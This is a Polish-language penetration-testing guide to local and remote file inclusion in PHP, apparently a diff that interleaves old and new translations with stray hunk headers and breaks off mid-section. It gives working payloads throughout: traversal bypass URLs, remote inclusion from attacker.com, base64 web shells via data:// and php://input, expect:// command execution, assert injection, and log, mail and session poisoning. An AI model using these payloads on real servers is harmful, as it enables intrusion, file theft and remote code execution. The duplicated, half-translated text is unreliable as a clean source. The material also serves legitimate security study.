* **Rozpoczęcie od fałszywego katalogu**: To powszechne praktyka rozpoczęcia ścieżki od nieistniejącego katalogu (np. `a/`). Ta technika jest stosowana jako środek ostrożności lub do spełnienia wymagań logiki analizy ścieżki serwera.
- **Określanie wymaganej liczby przemieszczeń**:
Przez próbę i błąd można znaleźć dokładną liczbę sekwencji `../` potrzebną do nawigacji do katalogu głównego, a następnie do `/etc/passwd`, zapewniając, że wszelkie dołączone ciągi (np. `.php`) są zneutralizowane, ale żądana ścieżka (`/etc/passwd`) pozostaje nietknięta.
- **Rozpoczęcie od fałszywego katalogu**:
To powszechna praktyka rozpoczynania ścieżki od nieistniejącego katalogu (np. `a/`). Ta technika jest stosowana jako środek ostrożności lub do spełnienia wymagań logiki analizy ścieżki serwera.
Podczas korzystania z technik skracania ścieżki ważne jest zrozumienie zachowania analizy ścieżki serwera i struktury systemu plików. Każdy scenariusz może wymagać innego podejścia, a testowanie jest często konieczne, aby znaleźć najbardziej skuteczną metodę.
Podczas korzystania z technik skracania ścieżki, kluczowe jest zrozumienie zachowania analizy ścieżki serwera i struktury systemu plików. Każdy scenariusz może wymagać innego podejścia, a testowanie jest często konieczne, aby znaleźć najbardziej skuteczną metodę.
**Ta podatność została naprawiona w PHP 5.3.**
### **Sztuczki obejścia filtrów**
### **Sztuczki bypass filtrów**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
@ -202,14 +164,14 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```
## Zdalne uwzględnianie plików
## Zdalne dołączenie pliku
W PHP jest to domyślnie wyłączone, ponieważ **`allow_url_include`** jest ustawione na **Off**. Musi być ustawione na **On**, aby to działało, a w takim przypadku można uwzględnić plik PHP z serwera i uzyskać zdalne wykonanie kodu (RCE):
W PHP jest to domyślnie wyłączone, ponieważ **`allow_url_include`** jest ustawione na **Off.** Musi być ustawione na **On**, aby działało, wtedy można dołączyć plik PHP z serwera i uzyskać RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Jeśli z jakiegoś powodu **`allow_url_include`** jest ustawione na **On**, ale PHP **filtrowanie** dostępu do zewnętrznych stron internetowych, [zgodnie z tym postem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), można użyć na przykład protokołu danych z base64 do dekodowania kodu PHP w formacie b64 i uzyskania zdalnego wykonania kodu (RCE):
Jeśli z jakiegoś powodu **`allow_url_include`** jest **Włączone**, ale PHP **filtrowanie** dostępu do zewnętrznych stron, [zgodnie z tym postem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), można na przykład użyć protokołu danych z base64 do odszyfrowania kodu PHP w formacie b64 i uzyskać RCE:
{% code overflow="wrap" %}
```
@ -218,40 +180,38 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
{% endcode %}
{% hint style="info" %}
W poprzednim kodzie, końcówka `+.txt` została dodana, ponieważ atakujący potrzebował ciągu znaków kończącego się na `.txt`, więc ciąg kończy się tym i po zdekodowaniu b64 ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (i w związku z tym, wykonany).
W poprzednim kodzie końcówka `+.txt` została dodana, ponieważ atakujący potrzebował ciągu znaków kończącego się na `.txt`, więc ciąg kończy się tym i po zdekodowaniu b64 ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (i w związku z tym, wykonany).
{% endhint %}
Inny przykład **bez użycia protokołu `php://`** to:
{% code overflow="wrap" %}
Kolejny przykład **bez użycia protokołu `php://`** to:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
{% endcode %}
## Python Root element
## Element główny w Pythonie
W języku Python w kodzie takim jak ten:
W Pythonie w kodzie takim jak ten:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Jeśli użytkownik poda **bezwzględną ścieżkę** do **`nazwa_pliku`**, **poprzednia ścieżka jest po prostu usunięta**:
Jeśli użytkownik przekazuje **bezwzględną ścieżkę** do **`file_name`**, **poprzednia ścieżka jest po prostu usunięta**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
To jest zamierzone zachowanie zgodnie z [dokumentacją](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Jeśli składnik jest ścieżką bezwzględną, wszystkie poprzednie składniki są odrzucane, a łączenie kontynuuje od składnika ścieżki bezwzględnej.
> Jeśli komponent jest ścieżką bezwzględną, wszystkie poprzednie komponenty są odrzucane, a łączenie kontynuuje się od komponentu ścieżki bezwzględnej.
## Java Listowanie Katalogów
Wygląda na to, że jeśli masz Path Traversal w Javie i **poprosisz o katalog** zamiast pliku, zostanie zwrócone **listowanie katalogu**. W innych językach tak się nie dzieje (o ile mi wiadomo).
Wygląda na to, że jeśli masz Traversal ścieżki w Javie i **poprosisz o katalog** zamiast pliku, **zostanie zwrócone listowanie katalogu**. W innych językach to się nie zdarzy (o ile mi wiadomo).
## Top 25 parametrów
Oto lista 25 najważniejszych parametrów, które mogą być podatne na lokalne włączenie plików (LFI) (z [linku](https://twitter.com/trbughunters/status/1279768631845494787)):
Oto lista 25 najważniejszych parametrów, które mogą być podatne na lokalne włączenie plików (LFI) (z [linka](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -279,27 +239,27 @@ Oto lista 25 najważniejszych parametrów, które mogą być podatne na lokalne
?mod={payload}
?conf={payload}
```
## LFI / RFI za pomocą wrapperów i protokołów PHP
## LFI / RFI za pomocą opakowań i protokołów PHP
### php://filter
Filtry PHP pozwalają na podstawowe operacje **modyfikacji danych** przed ich odczytem lub zapisem. Istnieje 5 kategorii filtrów:
* [Filtry dla ciągów znaków](https://www.php.net/manual/en/filters.string.php):
* [Filtry łańcuchowe](https://www.php.net/manual/en/filters.string.php):
* `string.rot13`
* `string.toupper`
* `string.tolower`
* `string.strip_tags`: Usuwa tagi z danych (wszystko pomiędzy znakami "<" i ">")
* Należy zauważyć, że ten filtr zniknął z nowszych wersji PHP
* Należy zauważyć, że ten filtr zniknął z nowoczesnych wersji PHP
* [Filtry konwersji](https://www.php.net/manual/en/filters.convert.php)
* `convert.base64-encode`
* `convert.base64-decode`
* `convert.quoted-printable-encode`
* `convert.quoted-printable-decode`
* `convert.iconv.*` : Przekształca dane na inny kodowanie (`convert.iconv.<input_enc>.<output_enc>`). Aby uzyskać **listę wszystkich obsługiwanych kodowań**, uruchom w konsoli: `iconv -l`
* `convert.iconv.*` : Przekształca do innej kodowania (`convert.iconv.<input_enc>.<output_enc>`). Aby uzyskać **listę wszystkich obsługiwanych kodowań**, uruchom w konsoli: `iconv -l`
{% hint style="warning" %}
Wykorzystując filtr konwersji `convert.iconv.*`, można **generować dowolny tekst**, co może być przydatne do pisania dowolnego tekstu lub tworzenia funkcji, która przetwarza dowolny tekst. Więcej informacji znajdziesz w [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
Wykorzystując filtr konwersji `convert.iconv.*` można **generować dowolny tekst**, co może być przydatne do zapisywania dowolnego tekstu lub tworzenia funkcji, takiej jak proces dołączania dowolnego tekstu. Aby uzyskać więcej informacji, sprawdź [**LFI2RCE za pomocą filtrów php**](lfi2rce-via-php-filters.md).
{% endhint %}
* [Filtry kompresji](https://www.php.net/manual/en/filters.compression.php)
@ -309,9 +269,9 @@ Wykorzystując filtr konwersji `convert.iconv.*`, można **generować dowolny te
* `mcrypt.*` : Przestarzałe
* `mdecrypt.*` : Przestarzałe
* Inne filtry
* Uruchomienie w PHP `var_dump(stream_get_filters());` pozwala znaleźć kilka **niespodziewanych filtrów**:
* Uruchamiając w PHP `var_dump(stream_get_filters());` można znaleźć kilka **nieoczekiwanych filtrów**:
* `consumed`
* `dechunk`: Odwraca kodowanie HTTP chunked
* `dechunk`: odwraca kodowanie kawałkowe HTTP
* `convert.*`
```php
# String Filters
@ -343,19 +303,37 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
Część "php://filter" jest nieczuła na wielkość liter
{% endhint %}
### Korzystanie z filtrów php jako orakulum do odczytywania dowolnych plików
[W tym poście](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) zaproponowano technikę odczytywania lokalnego pliku bez konieczności otrzymywania odpowiedzi zwrotnej od serwera. Ta technika opiera się na **eksfiltracji pliku (znak po znaku) za pomocą filtrów php** jako orakulum. Jest to możliwe, ponieważ filtry php mogą być używane do zwiększenia tekstu na tyle, aby php wygenerował wyjątek.
W oryginalnym poście znajdziesz szczegółowe wyjaśnienie techniki, ale tutaj znajdziesz szybkie podsumowanie:
* Użyj kodera **`UCS-4LE`** aby pozostawić wiodący znak tekstu na początku i zwiększyć rozmiar ciągu znaków wykładniczo.
* To zostanie wykorzystane do wygenerowania **tekstu na tyle dużego, że gdy początkowa litera zostanie odgadnięta poprawnie**, php spowoduje **błąd**
* Filtr **dechunk** usunie **wszystko, jeśli pierwszy znak nie jest szesnastkowy**, dzięki czemu możemy dowiedzieć się, czy pierwszy znak jest szesnastkowy.
* To, połączone z poprzednim (i innymi filtrami w zależności od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu, obserwując, kiedy wykonamy wystarczająco dużo transformacji, aby przestała być to szesnastkowa litera. Ponieważ jeśli jest szesnastkowa, dechunk jej nie usunie, a początkowa bomba spowoduje błąd php.
* Koder **convert.iconv.UNICODE.CP930** przekształca każdą literę w kolejną (więc po tym koderze: a -> b). Pozwala to nam dowiedzieć się, czy pierwsza litera to na przykład `a`, ponieważ jeśli zastosujemy 6 razy ten koder a->b->c->d->e->f->g, litera nie będzie już szesnastkową literą, dlatego dechunk jej nie usunie, a błąd php zostanie wywołany, ponieważ pomnoży się z początkową bombą.
* Korzystając z innych transformacji, takich jak **rot13** na początku, możliwe jest ujawnienie innych znaków, takich jak n, o, p, q, r (i inne kody mogą być użyte do przeniesienia innych liter do zakresu szesnastkowego).
* Gdy początkowym znakiem jest liczba, konieczne jest zakodowanie jej w base64 i ujawnienie 2 pierwszych liter, aby ujawnić liczbę.
* Ostatecznym problemem jest zobaczenie, **jak ujawnić więcej niż początkową literę**. Korzystając z filtrów pamięci porządkowej, takich jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, możliwe jest zmienienie kolejności znaków i umieszczenie innych liter tekstu na pierwszej pozycji.
* Aby móc uzyskać **więcej danych**, pomysłem jest **generowanie 2 bajtów danych śmieciowych na początku** za pomocą **convert.iconv.UTF16.UTF16**, zastosowanie **UCS-4LE** aby to **zestawić z następnymi 2 bajtami**, i **usunięcie danych do danych śmieciowych** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to aż osiągniesz pożądany bit do ujawnienia.
W poście ujawniono również narzędzie do automatycznego wykonania tej operacji: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
### php://fd
Ten wrapper umożliwia dostęp do deskryptorów plików, które proces ma otwarte. Potencjalnie przydatne do wydostawania zawartości otwartych plików:
Ten otok pozwala uzyskać dostęp do deskryptorów plików, które proces ma otwarte. Potencjalnie przydatne do eksfiltracji zawartości otwartych plików:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Możesz również użyć **php://stdin, php://stdout i php://stderr** do uzyskania dostępu do **deskryptorów plików 0, 1 i 2** odpowiednio (nie jestem pewien, jak to może być przydatne w ataku).
Możesz również użyć **php://stdin, php://stdout i php://stderr** do uzyskania dostępu do **deskryptorów plików 0, 1 i 2** odpowiednio (nie jestem pewien, jak to może być przydatne w ataku)
### zip:// i rar://
Prześlij plik Zip lub Rar z PHPShell wewnątrz i uzyskaj do niego dostęp.\
Aby móc nadużywać protokołu rar, **musi być on specjalnie aktywowany**.
Aby móc nadużyć protokołu rar, **musi być on specjalnie aktywowany**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -372,21 +350,7 @@ http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
### data://
`data://` is a pseudo-protocol that allows you to embed data directly into a URL. This can be useful in scenarios where you want to include small amounts of data directly in a web page or application without making an additional request to the server.
To use `data://`, you simply need to specify the MIME type of the data, followed by a comma, and then the actual data itself. For example, if you wanted to include the text "Hello, world!" in a URL, you would use the following format:
```
data:text/plain,Hello%2C%20world%21
```
In this example, `text/plain` is the MIME type for plain text, and `Hello%2C%20world%21` is the URL-encoded version of "Hello, world!".
Keep in mind that the data you include using `data://` is embedded directly in the URL, so it can be easily viewed by anyone who has access to the URL. Therefore, it is important to be cautious when using `data://` and avoid including sensitive information.
Some potential use cases for `data://` include embedding small images, CSS styles, or even JavaScript code directly in a URL. However, it is important to note that not all browsers and applications support `data://`, so it may not be universally compatible.
Overall, `data://` can be a useful tool for including small amounts of data directly in a URL, but it should be used with caution and awareness of its limitations.
### data://
```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
@ -396,24 +360,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Należy zauważyć, że ten protokół jest ograniczony przez konfiguracje php **`allow_url_open`** i **`allow_url_include`**
Zauważ, że ten protokół jest ograniczony przez konfiguracje php **`allow_url_open`** i **`allow_url_include`**
### expect://
Oczekiwanie musi być aktywowane. Możesz wykonać kod używając tego:
Oczekiwanie musi być aktywowane. Możesz wykonać kod, używając tego:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
### Wejście://
Określ swoje dane wejściowe w parametrach POST:
Określ swój ładunek w parametrach POST:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
Plik `.phar` może być wykorzystany do wykonania kodu PHP, gdy aplikacja internetowa korzysta z funkcji takich jak `include` do ładowania plików. Poniższy fragment kodu PHP przedstawia tworzenie pliku `.phar`:
Plik `.phar` może być wykorzystany do wykonania kodu PHP, gdy aplikacja internetowa wykorzystuje funkcje takie jak `include` do ładowania plików. Poniższy fragment kodu PHP demonstruje tworzenie pliku `.phar`:
```php
<?php
$phar = new Phar('test.phar');
@ -426,13 +390,13 @@ Aby skompilować plik `.phar`, należy wykonać następujące polecenie:
```bash
php --define phar.readonly=0 create_path.php
```
Po wykonaniu zostanie utworzony plik o nazwie `test.phar`, który potencjalnie może być wykorzystany do wykorzystania podatności na lokalne włączenie plików (LFI).
Podczas wykonywania zostanie utworzony plik o nazwie `test.phar`, który potencjalnie może zostać wykorzystany do wykorzystania podatności na lokalne uwzględnienie plików (LFI).
W przypadkach, gdy LFI wykonuje tylko odczyt pliku bez wykonywania kodu PHP wewnątrz, za pomocą funkcji takich jak `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` lub `filesize()`, można spróbować wykorzystać podatność na deserializację. Ta podatność jest związana z odczytem plików za pomocą protokołu `phar`.
W przypadkach, gdy LFI wykonuje tylko odczyt plików bez wykonywania kodu PHP wewnątrz, poprzez funkcje takie jak `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, lub `filesize()`, można próbować wykorzystać podatność deserializacji. Ta podatność jest związana z odczytem plików za pomocą protokołu `phar`.
Aby dokładnie zrozumieć wykorzystywanie podatności na deserializację w kontekście plików `.phar`, należy odwołać się do dokumentu podlinkowanego poniżej:
Dla szczegółowego zrozumienia wykorzystywania podatności deserializacji w kontekście plików `.phar`, zapoznaj się z dokumentem podlinkowanym poniżej:
[Przewodnik po wykorzystywaniu podatności na deserializację w plikach .phar](phar-deserialization.md)
[Przewodnik po eksploatacji deserializacji Phar](phar-deserialization.md)
{% content-ref url="phar-deserialization.md" %}
[phar-deserialization.md](phar-deserialization.md)
@ -442,82 +406,81 @@ Aby dokładnie zrozumieć wykorzystywanie podatności na deserializację w konte
Sprawdź więcej możliwych [**protokołów do uwzględnienia tutaj**](https://www.php.net/manual/en/wrappers.php)**:**
* [php://memory i php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Zapis w pamięci lub w pliku tymczasowym (nie jestem pewien, jak to może być przydatne w ataku na włączenie pliku)
* [php://memory i php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Zapis w pamięci lub w pliku tymczasowym (nie jestem pewien, jak może to być przydatne w ataku na uwzględnienie plików)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Dostęp do lokalnego systemu plików
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Dostęp do adresów URL HTTP(s)
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Dostęp do adresów URL FTP(s)
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Strumienie kompresji
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Znajdowanie ścieżek pasujących do wzorca (nie zwraca nic drukowalnego, więc tutaj nie jest zbyt przydatne)
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Znajdź nazwy ścieżek pasujące do wzorca (Nie zwraca nic drukowalnego, więc tutaj nie jest to naprawdę przydatne)
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Strumienie audio (nie przydatne do odczytu dowolnych plików)
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Strumienie audio (Nie przydatne do odczytu dowolnych plików)
## LFI za pomocą funkcji 'assert' w PHP
## LFI za pomocą 'assert' w PHP
Ryzyko lokalnego włączenia plików (LFI) w PHP jest szczególnie wysokie, gdy korzysta się z funkcji 'assert', która może wykonywać kod wewnątrz ciągów znaków. Jest to szczególnie problematyczne, jeśli wejście zawiera znaki nawigacji po katalogach, takie jak "..", które są sprawdzane, ale nie są odpowiednio oczyszczane.
Lokalne ryzyko uwzględnienia plików (LFI) w PHP jest szczególnie wysokie przy korzystaniu z funkcji 'assert', która może wykonywać kod wewnątrz ciągów znaków. Jest to szczególnie problematyczne, jeśli wejście zawiera znaki nawigacji po katalogach, takie jak "..", które są sprawdzane, ale nie są odpowiednio oczyszczone.
Na przykład, kod PHP może być zaprojektowany w taki sposób, aby zapobiegać nawigacji po katalogach, jak w poniższym przykładzie:
Na przykład, kod PHP może być zaprojektowany w taki sposób, aby zapobiec nawigacji po katalogach, jak poniżej:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Podczas gdy to ma na celu zatrzymanie przechodzenia, nieumyślnie tworzy wektor dla wstrzykiwania kodu. Aby wykorzystać to do odczytu zawartości pliku, atakujący mógłby użyć:
W czasie gdy to ma na celu zatrzymanie traversal, niechcący tworzy wektor dla wstrzykiwania kodu. Aby wykorzystać to do odczytu zawartości pliku, atakujący mógłby użyć:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Podobnie, do wykonania dowolnych poleceń systemowych można użyć:
Podobnie, do wykonania dowolnych poleceń systemowych, można użyć:
```plaintext
' and die(system("id")) or '
```
Ważne jest **URL-kodowanie tych payloadów**.
Jest ważne, aby **zakodować adresy URL** tych ładunków.
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
**Wgląd w hakerstwo**\
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa
**Wgląd w Hacking**\
Zapoznaj się z treściami, które zagłębiają się w emocje i wyzwania hackowania
**Aktualności o hakerstwie na żywo**\
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i wglądowi
**Aktualności z Hackingu na Żywo**\
Bądź na bieżąco z szybkim światem hackowania dzięki aktualnościom i wglądom na żywo
**Najnowsze ogłoszenia**\
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy
**Najnowsze Ogłoszenia**\
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
## PHP Blind Path Traversal
## Ślepa Trawersacja Ścieżki PHP
{% hint style="warning" %}
Ta technika jest istotna w przypadkach, gdy **kontrolujesz** **ścieżkę pliku** funkcji **PHP**, która będzie **odczytywać plik**, ale nie zobaczysz zawartości pliku (jak w prostym wywołaniu **`file()`**), ale zawartość nie jest wyświetlana.
Ta technika jest istotna w przypadkach, gdy **kontrolujesz** **ścieżkę pliku** funkcji **PHP**, która **będzie miała dostęp do pliku**, ale nie zobaczysz zawartości pliku (jak proste wywołanie **`file()`**), ale zawartość nie jest wyświetlana.
{% endhint %}
W [**tym niesamowitym poście**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wyjaśniono, jak ślepa nawigacja ścieżką może być wykorzystana za pomocą filtru PHP do **wycieku zawartości pliku za pomocą orakulum błędów**.
W [**tym niesamowitym poście**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wyjaśniono, jak ślepa trawersacja ścieżki może być nadużyta za pomocą filtru PHP do **wycieku zawartości pliku za pomocą orakulum błędów**.
Podsumowując, technika ta polega na użyciu kodowania **"UCS-4LE"**, aby zawartość pliku była tak **duża**, że funkcja PHP otwierająca plik spowoduje **błąd**.
Podsumowując, technika polega na użyciu kodowania **"UCS-4LE"**, aby zawartość pliku była tak **duża**, że funkcja PHP otwierająca plik spowoduje **błąd**.
Następnie, aby ujawnić pierwszy znak, używany jest filtr **`dechunk`** wraz z innymi, takimi jak **base64** lub **rot13**, a na końcu używane są filtry **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE**, aby **umieścić inne znaki na początku i ujawnić je**.
Następnie, aby ujawnić pierwszy znak, filtr **`dechunk`** jest używany wraz z innymi, takimi jak **base64** lub **rot13**, a na końcu filtry **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** są używane do **umieszczenia innych znaków na początku i ujawnienia ich**.
**Funkcje, które mogą być podatne**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (tylko docelowe tylko do odczytu z tym)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
**Funkcje, które mogą być podatne**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (tylko docelowy odczyt z tym)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Aby uzyskać szczegóły techniczne, sprawdź wspomniany post!
Sprawdź szczegóły techniczne w wymienionym poście!
## LFI2RCE
### Remote File Inclusion
### Zdalne Dołączenie Pliku
Wyjaśnione wcześniej, [**kliknij tutaj**](./#remote-file-inclusion).
Wyjaśnione wcześniej, [**śledź ten link**](./#remote-file-inclusion).
### Za pomocą pliku dziennika Apache/Nginx
### Poprzez plik dziennika Apache/Nginx
Jeśli serwer Apache lub Nginx jest **podatny na LFI** wewnątrz funkcji include, możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` lub `/var/log/nginx/access.log`**, ustaw wewnątrz **user agent** lub wewnątrz parametru **GET** powłokę PHP, na przykład **`<?php system($_GET['c']); ?>`**, a następnie dołącz ten plik
Jeśli serwer Apache lub Nginx jest **podatny na LFI** wewnątrz funkcji dołączania, możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` lub `/var/log/nginx/access.log`**, ustaw w **nagłówku użytkownika** lub w **parametrze GET** powłokę PHP taką jak **`<?php system($_GET['c']); ?>`** i dołącz ten plik
{% hint style="warning" %}
Zwróć uwagę, że **jeśli używasz podwójnych cudzysłowów** dla powłoki zamiast **pojedynczych cudzysłowów**, podwójne cudzysłowy zostaną zmodyfikowane na ciąg "_**quote;**_", **PHP wyrzuci błąd** i **nic więcej nie zostanie wykonane**.
Zauważ, że **jeśli używasz podwójnych cudzysłowów** dla powłoki zamiast **pojedynczych cudzysłowów**, podwójne cudzysłowy zostaną zmienione na ciąg "_**quote;**_", **PHP wyrzuci błąd** i **nic więcej nie będzie wykonane**.
Upewnij się również, że **poprawnie zapisujesz payload**, w przeciwnym razie PHP będzie generować błąd za każdym razem, gdy spróbuje załadować plik dziennika, i nie będziesz mieć drugiej szansy.
Upewnij się również, że **poprawnie zapisujesz ładunek** lub PHP będzie generować błąd za każdym razem, gdy spróbuje załadować plik dziennika i nie będziesz miał drugiej szansy.
{% endhint %}
Można to również zrobić w innych dziennikach, ale **bądź ostrożny**, kod wewnątrz dzienników może być kodowany URL i może to zniszczyć powłokę. Nagłówek **authorisation "basic"** zawiera "user:password" w Base64 i jest dekodowany wewnątrz dzienników. Powłokę PHP można wstawić wewnątrz tego nagłówka.\
To samo można zrobić w innych dziennikach, ale **bądź ostrożny**, kod wewnątrz dzienników może być zakodowany w adresie URL i może to zniszczyć Powłokę. Nagłówek **autoryzacji "basic"** zawiera "użytkownik:hasło" w Base64 i jest dekodowany wewnątrz dzienników. PHPShell można wstawić wewnątrz tego nagłówka.\
Inne możliwe ścieżki dziennika:
```python
/var/log/apache2/access.log
@ -530,31 +493,29 @@ Inne możliwe ścieżki dziennika:
/var/log/nginx/error.log
/var/log/httpd/error_log
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Za pomocą poczty e-mail
### Przez Email
**Wyślij e-mail** na wewnętrzne konto (user@localhost) zawierający swój ładunek PHP, na przykład `<?php echo system($_REQUEST["cmd"]); ?>`, i spróbuj dołączyć do e-maila użytkownika ścieżkę taką jak **`/var/mail/<USERNAME>`** lub **`/var/spool/mail/<USERNAME>`**
**Wyślij wiadomość** na wewnętrzne konto (user@localhost) zawierającą swój kod PHP, na przykład `<?php echo system($_REQUEST["cmd"]); ?>`, a następnie spróbuj dołączyć do wiadomości użytkownika za pomocą ścieżki **`/var/mail/<USERNAME>`** lub **`/var/spool/mail/<USERNAME>`**
### Przez /proc/\*/fd/\*
### Za pomocą /proc/\*/fd/\*
1. Prześlij wiele powłok (na przykład: 100)
2. Dołącz [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), gdzie $PID to identyfikator procesu (może być wybrute-forced) i $FD to deskryptor pliku (również może być wybrute-forced)
2. Dołącz [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), gdzie $PID = PID procesu (może być brutalnie przekształcony) i $FD deskryptor pliku (również może być brutalnie przekształcony)
### Przez /proc/self/environ
### Za pomocą /proc/self/environ
Podobnie jak w przypadku pliku dziennika, wyślij payload w nagłówku User-Agent, zostanie on odzwierciedlony w pliku /proc/self/environ
Jak w pliku dziennika, prześlij ładunek w nagłówku User-Agent, który zostanie odzwierciedlony w pliku /proc/self/environ
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Przez przesłanie pliku
### Za pomocą przesyłania pliku
Jeśli możesz przesłać plik, po prostu wstrzyknij do niego ładunek powłoki (np. `<?php system($_GET['c']); ?>`).
Jeśli możesz przesłać plik, wstrzyknij do niego ładunek powłoki (np. : `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Aby zachować czytelność pliku, najlepiej jest wstrzyknąć do metadanych obrazów/doc/pdf.
Aby zachować czytelność pliku, najlepiej wstrzyknąć do metadanych obrazów/doc/pdf
### Za pomocą przesyłania pliku ZIP
@ -569,7 +530,7 @@ Sprawdź, czy strona internetowa używa sesji PHP (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
W PHP te sesje są przechowywane w plikach _/var/lib/php5/sess\\_\[PHPSESSID]\_.
W PHP te sesje są przechowywane w plikach _/var/lib/php5/sess\\_\[PHPSESSID]\_
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@ -578,68 +539,24 @@ Ustaw ciasteczko na `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
# Włączanie pliku sesji PHP za pomocą LFI
## Opis
Włączanie pliku sesji PHP za pomocą Local File Inclusion (LFI) jest techniką wykorzystywaną w celu uzyskania dostępu do zawartości sesji użytkownika. LFI pozwala na wczytanie plików z lokalnego systemu plików, co może prowadzić do odczytu poufnych informacji, takich jak dane uwierzytelniające, tokeny sesji i inne dane sesji.
## Wykorzystanie
